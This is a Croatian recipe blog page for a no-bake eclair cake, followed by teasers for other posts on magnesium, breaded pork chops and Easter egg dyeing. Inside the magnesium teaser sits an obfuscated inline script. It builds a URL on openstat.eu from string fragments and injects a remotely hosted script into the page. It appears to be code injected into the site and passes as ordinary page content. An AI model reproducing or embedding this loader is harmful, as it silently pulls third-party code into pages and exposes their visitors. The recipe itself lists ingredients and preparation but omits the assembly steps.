ECLAIR KOLAČ





Eclair kolač 



Umjesto brojanja kalorija, posegnite za nečim stvarno slatkim poput Eclair kolača, koji je prava mala rapsodija kremastog nadjeva od vanilije, hrskavih keksića i bogate čokolade i to bez ijedne minute provedene pored pećnice.




Eclair kolač 


Sastojci:

Za kremu od vanilije:

  • 480 ml punomasnog mlijeka
  • 2 žličice paste od vanilije
  • 5 žumanjaka
  • 100 g šećera
  • 30 g kukuruznog škroba
  • 28 g maslaca
  • prstohvat soli

Za tučeno vrhnje:

  • 240 ml slatkog vrhnja za šlag, hladnog
  • 16 g šećera u prahu
  • 1 žličica ekstrakta vanilije

Za slaganje i čokoladni ganache:

  • 250-300 g čajnih graham keksića
  • 180 ml slatkog vrhnja
  • 140 g crne čokolade, nasjeckane
  • 14 g maslaca
  • prstohvat morske soli (opcionalno)




Priprema:

Mlijeko i pastu od vanilije zagrijte u loncu dok ne počne pariti, pazeći da ne prokuha.

U zasebnoj zdjeli izmiksajte žumanjke, šećer, škrob i sol dok smjesa ne postane glatka, a zatim polako, uz neprestano miješanje, ulijte toplo mlijeko u tu smjesu.

Sve zajedno vratite u lonac i kuhajte na srednjoj vatri, stalno miješajući, dok krema ne zgusne i postane sjajna.

Maknite s vatre, umiješajte maslac, prekrijte prozirnom folijom i ohladite u potpunosti.

Vrhnje za šlag istucite sa šećerom u prahu i vanilijom, a zatim ga lagano umiješajte u ohlađenu kremu od vanilije kako biste dobili laganu, mousse teksturu.

Za ganache zagrijte vrhnje dok ne zakuha, prelijte preko nasjeckane čokolade, ostavite dvije minute, pa promiješajte dok se ne sjedini, uz dodatak maslaca i soli.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više